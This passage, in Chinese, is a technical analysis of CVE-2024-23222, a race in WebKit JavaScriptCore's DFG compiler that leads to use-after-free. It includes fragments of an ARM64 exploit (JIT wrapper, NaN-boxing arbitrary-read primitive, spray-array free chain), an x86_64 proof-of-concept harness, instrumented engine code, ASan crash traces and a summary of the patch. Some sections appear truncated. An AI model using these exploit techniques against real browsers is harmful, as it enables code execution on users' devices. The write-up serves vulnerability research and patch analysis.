返回的`JSValue`是未受保护的。如果它持有一个单元指针，在锁释放与调用者使用它之间的时间窗口内，没有任何机制阻止该单元被释放。

### 2.3 陈旧值的消费路径

返回的`JSValue`可以通过两条路径被消费。如果该单元在竞争窗口期间变得陈旧或无效，则任一条路径都可能引发故障。

**路径A：编译器线程上的`freeze()`。** 最直接的消费者是`Graph::freeze()`，调用者会立即在返回值上调用它：```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

如果单元格在 `tryGetConstantProperty()` 返回之后、`freeze()` 执行之前被释放，那么 `value.asCell()->structure()` 就会导致释放后使用（use-after-free）。

**路径 B：扩大窗口期间的 GC 标记。** 在研究构建中，编译器线程在 `tryGetConstantProperty()` 内部读取属性后、返回给调用者之前，进入一个原始 DFG 安全点。这允许主线程运行 GC，而此时编译器端仍有一个原始的原生局部变量持有过时的单元格值。在当前的 Linux x86_64 PoC 中，可靠复现的崩溃发生在稍后的 GC 标记阶段，`SlotVisitor` 在遍历堆引用时最终解引用了一个无效的过期单元格。当前崩溃栈证明了后续的 GC 机制消费了过期值，但并未证明该过期指针是从哪个具体的容器槽中获取的。

### 2.4 调用点

DFG 管道中有两处无条件地将 `tryGetConstantProperty()` 的结果传递给 `freeze()`：

**ByteCodeParser** —— 在初始字节码到 DFG IR 的降级过程中：```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

在**AbstractInterpreter**中的第三个调用点也调用了`freeze()`，但仅在返回值为`GetterSetter*`时。```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

`config.g = -NaN` 值作为JIT层级侧信道：`Math.min(-NaN, -NaN)` 在解释器与JIT中产生不同的位模式，可通过 `Int32Array` 覆盖观察到。

**JIT调用包装器。** 一个带有7200次死代码填充（`x += 1;` 在 `if(false)` 内部）的 `new Function()` 控制JIT代码区域的大小。活动代码路径是一个简单的函数调度器：```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

**任意读取。** 在破坏结构之后，`jitReadFn` 通过被破坏的 butterfly 指针读取 `arr[0]`，然后除以 `5e-324`（`Number.MIN_VALUE`）来反转 NaN-boxing 并提取原始地址：```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

链：`apply()` 读取属性 0–8。读取索引 8 会触发 getter，该 getter 释放 spray 数组。然后 `inlinedFunction` 调用 `jitTrigger`，参数为 `arguments[3]`（即已被释放的 `sprayArrays[3001]`）。JIT 编译后的 `jitTrigger` 将已释放的内存解释为 float64 值，通过 `/ 5e-324` 解码地址，并解析 WebAssembly 实例指针，从而初始化任意读/写原语。

### 3.3 为什么这是 ARM64 特有的

ARM64 的两个特性使得该漏洞利用无法移植到 x86_64。

**内存序。** 补丁提交中描述的 S1→S2→S3 多结构竞争依赖于 ARM64 的弱内存序。当主线程写入一个新属性值然后设置一个新结构时，ARM64 可以对这些存储进行重排序。编译线程可能观察到新结构，但读取到旧（过时的）属性值。x86_64 的总存储序（TSO）保证：如果结构存储可见，那么所有先前的存储（包括属性写入）也是可见的。多结构常量折叠竞争所依赖的特定内存重排序机制在 TSO 下不适用，并且尚未观察到这种竞争在 x86_64 上显现。

**NaN-boxing 布局。** 该漏洞利用将精心构造的 float64 值写入对象属性，利用了在 ARM64 上这些双精度浮点数的位模式与 JSC 单元标头（结构 ID、蝴蝶指针）在 NaN-boxing 表示中重叠的事实。虽然 x86_64 的 JSC 使用相同的 NaN-boxing 方案，但具体的结构 ID 编码和指针布局差异足够大，以至于 ARM64 的类型双关技术在 x86_64 上无法产生有效的结构损坏。

---

## 4. 适配 x86_64

### 4.1 为什么 ARM64 的攻击在 x86_64 上失败

多结构竞争要求编译线程从中间结构（S2）读取属性值，而分析的结构集合只包含 {S1, S3}。在 x86_64 上，TSO 阻止了这种情况：`tryGetConstantProperty()` 中的单元锁提供了顺序性，即使没有锁，存储序也保证了一致的（结构，值）对。如果编译线程看到结构 S1，就会看到 S1 的值。如果看到 S2，结构检查会失败（S2 不在集合中）。ARM64 弱序打开的特定存储重排序窗口在 TSO 下不适用。

### 4.2 替代方案：编译期间已释放的单元

x86_64 的概念验证利用的是同一 TOCTOU 的另一个后果。它并非让编译器从错误结构中折叠值，而是让编译器持有一个过时的单元值 `JSValue`，该值在加宽的竞争窗口内变得无效。

具体流程：

1. `tryGetConstantProperty()` 在单元锁的保护下读取一个单元值属性。
2. 锁释放。单元指针现在作为原始 `JSValue` 存在于编译线程的原生 C++ 栈上。
3. 主线程替换属性（`state.val = 0`），移除对该单元的最后一个 JavaScript 引用。
4. 主线程触发垃圾回收。
5. 垃圾回收*不会*扫描编译线程的栈。DFG 编译线程从不获取 `JSLock`，因此从未在垃圾回收的机器线程集中注册：```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.

`state.val` 持有目标单元格。`Object.seal()` 固定结构，使得 DFG 可以将 `state` 视为已知常量。

**探测函数。** 一个动态生成的函数读取 `state.val`。当 DFG 编译此函数时，它会尝试常量折叠属性访问，进入 `tryGetConstantProperty()`：```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

**释放并收集。** 一旦DFG编译器线程读取了该单元（带插桩的构建版本休眠
在此处），主线程会释放引用并运行垃圾回收。实际的测试框架逻辑是参数化的，但默认工作形态为：```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

`burnInterpreterRegisters()` 是一个递归数值函数，用于覆写主线程栈上的解释器寄存器槽位，从而降低保守栈扫描找到目标单元悬空指针的概率。

### 5.2 引擎插桩

研究版构建修改了 `DFGGraph.cpp` 中的 `tryGetConstantProperty()`。在单元锁释放之后、函数返回之前，插桩执行以下操作：

1. 可选写信号文件（用于 JS 侧同步；在当前最佳配置中已禁用）。
2. 进入一个原始 DFG `Safepoint`，释放编译器线程的 `m_rightToRun` 锁。这使得垃圾回收可以继续进行，无需等待编译器线程。
3. 休眠一段可配置的时长（默认：500ms）。
4. 唤醒后，重新获取 `m_rightToRun`，并检查编译计划是否已被取消。```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

**标志说明：**

| 标志 | 用途 |
|------|---------|
| `--useConcurrentJIT=true` | 启用后台DFG编译（该竞争需要两个线程） |
| `--thresholdForOptimizeAfterWarmUp=20` | 降低DFG层级提升阈值，使编译在最少预热后启动 |
| `--thresholdForJITAfterWarmUp=5` | 降低基线JIT阈值 |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | 防止FTL与DFG竞争；将编译保持在DFG层级 |
| `JSC_TGCP_SLEEP_USEC=500000` | 在插桩构建中提供500ms竞争窗口 |
| `JSC_TGCP_SIGNAL_PATH=''` | 禁用信号文件（仅基于时间的同步） |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | 大隔离区防止释放的内存被立即重用 |

层级标志至关重要。没有它们，JIT调度会发生足够大的变化，导致编译和主线程释放之间失去同步。

---

## 6. 崩溃分析

### 6.1 GC标记崩溃

主要可重现的崩溃发生在垃圾回收期间，当GC的`SlotVisitor`尝试标记一个过期单元时。一个代表性的完整运行如下所示：```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

在遍历的某个时刻，`appendHiddenUnbarriered` 接收到一个过时的单元格值 `JSValue`，并将其视为活动单元格：```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

`loadAndFence` 从垃圾 `MarkedBlock` 地址（`0x180000008020`）读取数据，导致 SEGV。

### 6.2 `freeze()` 崩溃变体

在不同的时序条件下，相同的 TOCTOU 也会直接在 DFG 编译器工作线程上的 `freeze()` 路径中产生崩溃：```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

The `[tgcp] HIT` 行确认 `tryGetConstantProperty()` 成功地将目标属性常量折叠为单元格值。`RACE` 行显示编译器线程进入扩大的竞争窗口。`WAKE` 行显示它恢复执行。ASan 诊断报告该单元格为“可访问”——ASan 没有看到简单的红区违规——但单元格的内部指针（结构 ID、`MarkedBlock` 回指针）已过时，导致 JSC 自己的代码尝试使用它们时崩溃。

---

## 7. 研究插桩

### 7.1 什么是人工的

研究构建以三种方式修改了 `tryGetConstantProperty()`：

- 一个 500ms 的 `usleep()` 扩大了竞争窗口。原始引擎在这里没有休眠；单元格锁释放和 `freeze()` 调用之间的自然窗口是纳秒级的。
- 在不将 `Graph` 注册为 `Scannable` 的情况下进入原始 `Safepoint`。生产型安全点（通过 `GraphSafepoint`）会添加 `Graph`，导致 GC 访问所有冻结值。原始安全点使尚未冻结的单元格对 GC 不可见。
- 环境变量（`JSC_TGCP_SLEEP_USEC`、`JSC_TGCP_SIGNAL_PATH`）控制休眠持续时间和一个可选的信号文件。

### 7.2 什么不是人工的

崩溃本身来自未修改的 JSC 代码路径：

- `JSFinalObject::visitChildrenImpl` 和 `SlotVisitor::appendHiddenUnbarriered` 是标准的 GC 标记逻辑。
- `Graph::freeze()` 和 `FrozenValue::freeze()` 是标准的 DFG 编译器逻辑。
- 没有使用 `__asan_poison_memory_region()` 或其他手动内存破坏。
- 没有在崩溃路径中插入显式的“在此处解引用过时指针”探针。
- JavaScript 工具仅使用公共 JSC API 和 `jsc` shell 内置函数（`optimizeNextInvocation`、`numberOfDFGCompiles`、`fullGC`、`drainMicrotasks`）。
- DFG 编译器线程确实未被 GC 扫描——这是生产行为，而非研究产物。

### 7.3 评估

在 x86_64 上，自然竞争窗口太窄，无法在没有插桩的情况下可靠复现。在 ARM64 上，弱内存排序为原始漏洞提供了更大的自然窗口——结构和值存储可能被重排序，因此编译器线程可以在没有任何人工时序辅助的情况下观察到不一致的状态。

在 x86_64 上假设的生产利用需要一种在关键点停顿编译器线程的方法（例如，慢速结构查找、争用锁或延迟 `freeze()` 的异常图形形状），或者通过多次编译尝试进行统计方法。插桩用确定性休眠替代了该要求。

---

## 8. 补丁

Yusuke Suzuki（由 Mark Lam 审核）提交的 WebKit 提交 `64714692967ad278155fcae66c5cb0f853b3bf34` 修复了该漏洞。

该修复引入了一个新类 `DesiredObjectProperties`，它在 DFG 编译器常量折叠属性加载时记录 `(JSObject*, PropertyOffset, JSValue, Structure*)` 元组。编译完成后，`Plan::isStillValidOnMainThread()` 在主线程上重新读取这些属性，并将其与记录的值进行比较。如果任何元组已过时——对象的结构已更改，或属性值不同——则编译的计划会在执行前被丢弃。

这将 TOCTOU 转换为原子检查：编译器的快照在同步点（主线程最终化）得到验证，然后才能安装优化后的代码。在编译期间 `freeze()` 的 UAF 仍可能发生，但生成的代码永远不会被使用。

对于多结构集合，已修补的 `tryGetConstantProperty()` 在 `structureSet.size() > 1` 且并非所有结构都被主动监视时，也完全拒绝常量折叠。这从根本上消除了 S1→S2→S3 传递转换攻击。

---

## 9. 文件

| 文件 | 描述 |
|------|------|
| `toctou_clean_asan_v2.js` | JavaScript 概念验证工具 |
| `DFGGraph.cpp` | 易受攻击的函数 (`tryGetConstantProperty`)、`freeze()` 及研究插桩 |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — 单元格解引用点 |
| `DFGByteCodeParser.cpp` | `weakJSConstant()` 调用点 |
| `DFGConstantFoldingPhase.cpp` | `emitGetByOffset()` 调用点 |
| `DFGAbstractInterpreterInlines.h` | 抽象解释器调用点 |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — GC 标记崩溃点 |
| `MarkedBlock.h` | `aboutToMark()` — SEGV 发生处 |
| `JSLock.cpp` | `didAcquireLock()` — 显示 DFG 线程未在 GC 中注册 |